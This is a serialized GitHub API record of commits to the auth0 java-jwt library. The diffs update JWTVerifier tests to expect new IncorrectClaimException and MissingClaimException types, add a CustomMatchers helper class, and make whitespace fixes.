 }u}(j-  (456d1515e6c911b9bd54f8e8fc4025ca53b5124ej  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X0  @@ -177,5 +177,4 @@ static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
         return new JsonNodeClaim(node, objectReader);
     }
 
-}
-//todo test all as* methods in JsonNodeClaim to ensure isMissing isNull calls are made
\ No newline at end of file
+}
\ No newline at end of fileu}(j-  (a7ab4b122520901c950219d0243dc1592e47edebj  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kvj  K!j  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X*L  @@ -1,9 +1,7 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.exceptions.AlgorithmMismatchException;
-import com.auth0.jwt.exceptions.InvalidClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
@@ -16,13 +14,14 @@
 import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.function.BiPredicate;
 
+import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -74,8 +73,11 @@ public void shouldValidateMultipleIssuers() {
 
     @Test
     public void shouldThrowOnInvalidIssuer() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasClaimValue("auth0", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("invalid")
@@ -87,14 +89,31 @@ public void shouldThrowOnInvalidIssuer() {
     public void shouldThrowOnNullIssuer() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+        exception.expect(hasClaimName(PublicClaims.ISSUER));
+        exception.expect(hasNullClaim());
 
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
     }
 
+    @Test
+    public void shouldThrowOnMissingIssuer() {
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'iss' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("iss"));
+
+        String jwt = JWTCreator.init()
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer("nope")
+                .build()
+                .verify(jwt);
+    }
+
     @Test
     public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
@@ -108,8 +127,11 @@ public void shouldValidateSubject() {
 
     @Test
     public void shouldThrowOnInvalidSubject() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
+        exception.expect(hasClaimName(PublicClaims.SUBJECT));
+        exception.expect(hasClaimValue("1234567890", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("invalid")
@@ -208,8 +230,10 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -221,8 +245,10 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
 
     @Test
     public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
 
         // Token 'aud' = ["Mark", "David", "John"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
@@ -234,11 +260,27 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNull() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasNullClaim());
 
         // Token 'aud': null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience("nope")
+                .build()
+                .verify(token);
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsMissing(){
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'aud' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("aud"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience("nope")
                 .build()
@@ -247,11 +289,13 @@ public void shouldThrowWhenAudienceClaimIsNull() {
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
+        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
+        exception.expect(hasClaimValueArray(new String[] {null}, String[].class));
 
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+        // Token 'aud': [null]
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAnyOfAudience("nope")
                 .build()
@@ -340,8 +384,10 @@ public void shouldThrowOnNullCustomClaimName() {
 
     @Test
     public void shouldThrowWhenExpectedArrayClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("missing", 1, 2, 3)
@@ -351,8 +397,10 @@ public void shouldThrowWhenExpectedArrayClaimIsMissing() {
 
     @Test
     public void shouldThrowWhenExpectedClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("missing", "text")
@@ -362,8 +410,11 @@ public void shouldThrowWhenExpectedClaimIsMissing() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -373,8 +424,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -384,8 +438,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -395,8 +452,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -407,8 +467,11 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", new Date())
@@ -420,6 +483,9 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
     public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
+        exception.expect(hasClaimName("name"));
+        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "check")
@@ -670,6 +736,7 @@ public void shouldValidateExpiresAtIfPresent() {
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
+        exception.expect(hasTokenExpiredOn(Instant.ofEpochSecond(1477592L)));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -702,8 +769,10 @@ public void shouldValidateNotBeforeWithLeeway() {
 
     @Test
     public void shouldThrowOnInvalidNotBeforeIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.NOT_BEFORE));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -733,8 +802,13 @@ public void shouldThrowOnNegativeNotBeforeLeeway() {
     }
 
     // Issued At with future date
-    @Test(expected = InvalidClaimException.class)
+    @Test
     public void shouldThrowOnFutureIssuedAt() {
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
+
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
@@ -755,8 +829,10 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
+        exception.expect(IncorrectClaimException.class);
+        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
+        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
+        exception.expect(hasClaimValue(1477592L, Long.class));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
@@ -811,8 +887,11 @@ public void shouldValidateJWTId() {
 
     @Test
     public void shouldThrowOnInvalidJWTId() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
+        exception.expect(hasClaimName("jti"));
+        exception.expect(hasClaimValue("jwt_id_123", String.class));
+
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("invalid")
@@ -884,8 +963,9 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(MissingClaimException.class);
         exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
 
         String jwt = JWTCreator.init()
                 .withClaim("custom", "")
@@ -1040,8 +1120,10 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
     @Test
     public void shouldThrowWhenPredicateReturnsFalse() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("claimValue", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "claimValue")
@@ -1080,8 +1162,10 @@ public void shouldSuccessfullyVerifyClaimWithNull() {
 
     @Test
     public void shouldThrowWhenNullClaimHasValue() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("value", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")
@@ -1095,8 +1179,9 @@ public void shouldThrowWhenNullClaimHasValue() {
 
     @Test
     public void shouldThrowWhenNullClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'anotherClaimName' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'anotherClaimName' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("anotherClaimName"));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")u}(j-  (acff9b0f7c0372b61dbf8496533c9eab0416b603j  <lib/src/test/java/com/auth0/jwt/matchers/CustomMatchers.javaj  addedj  Krj  K j  Krj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X  @@ -0,0 +1,114 @@
+package com.auth0.jwt.matchers;
+
+import com.auth0.jwt.exceptions.IncorrectClaimException;
+import com.auth0.jwt.exceptions.MissingClaimException;
+import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.interfaces.Claim;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
+import java.time.Instant;
+import java.util.Arrays;
+
+public class CustomMatchers {
+    public static Matcher<MissingClaimException> hasMissingClaimName(final String claimName) {
+        return new TypeSafeMatcher<MissingClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("MissingClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(MissingClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static Matcher<TokenExpiredException> hasTokenExpiredOn(final Instant instant) {
+        return new TypeSafeMatcher<TokenExpiredException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("TokenExpiredException with expired time as: "+instant.getEpochSecond());
+            }
+
+            @Override
+            protected boolean matchesSafely(TokenExpiredException item) {
+                return item.getExpiredOn().equals(instant);
+            }
+        };
+    }
+
+    public static Matcher<IncorrectClaimException> hasClaimName(final String claimName) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValue(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimInstant(final Instant value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValueArray(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return Arrays.equals((Object[]) item.getClaimValue().as(clazz), (Object[])value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasNullClaim() {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim as null");
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                boolean a = item.getClaimValue().isNull();
+                String b = item.getClaimValue().toString();
+                return item.getClaimValue().isNull();
+            }
+        };
+    }
+}ueu(d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081}(sha(d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081node_idEC_kwDOAQtL0doAKGQxNzFmYmNlYjZkZDBiMmE0YmYzZWEwZTZlNjA4MTgxMDdmZjcwODEcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2022-11-26T17:21:28Zu	committer}(j  
Andreas Rigasj  andreas.rigas@outlook.comj  2022-11-26T17:21:28Zumessageformatedtree}(j  (6eba2476c20379443e3c36d3d149fafc809931e9url^https://api.github.com/repos/auth0/java-jwt/git/trees/6eba2476c20379443e3c36d3d149fafc809931e9uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081html_urlQhttps://github.com/auth0/java-jwt/commit/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081/commentsj  }(loginandrewrigasidJj  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuj  }(j  andrewrigasj  Jj  MDQ6VXNlcjQ4Mjk2NDcxj  4https://avatars.githubusercontent.com/u/48296471?v=4j	  h3j  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigasj  2https://api.github.com/users/andrewrigas/followersj  ?https://api.github.com/users/andrewrigas/following{/other_user}j  8https://api.github.com/users/andrewrigas/gists{/gist_id}j  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j  6https://api.github.com/users/andrewrigas/subscriptionsj  -https://api.github.com/users/andrewrigas/orgsj  .https://api.github.com/users/andrewrigas/reposj  9https://api.github.com/users/andrewrigas/events{/privacy}j  8https://api.github.com/users/andrewrigas/received_eventsj  Userj   uparents]}(j  (a95382daeec4cea9ce8c428c5115068cc7cf0669j  \https://api.github.com/repos/auth0/java-jwt/commits/a95382daeec4cea9ce8c428c5115068cc7cf0669j  Qhttps://github.com/auth0/java-jwt/commit/a95382daeec4cea9ce8c428c5115068cc7cf0669uastats}(totalK	additionsK	deletionsKufiles]}(j  (d545c8daeee270f9aca5bac260637b44db2e028efilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj:  Kj;  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=d171fbceb6dd0b2a4bf3ea0e6e60818107ff7081patchX/  @@ -107,7 +107,7 @@ public Builder withHeader(String headerClaimsJson) throws JsonProcessingExceptio
                 return this;
             }
 
-            Map<String,Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+            Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
 
             return withHeader(headerClaims);
         }
@@ -499,7 +499,7 @@ public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentExcep
                 return this;
             }
 
-            Map<String,Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+            Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
 
             return withPayload(payloadClaims);
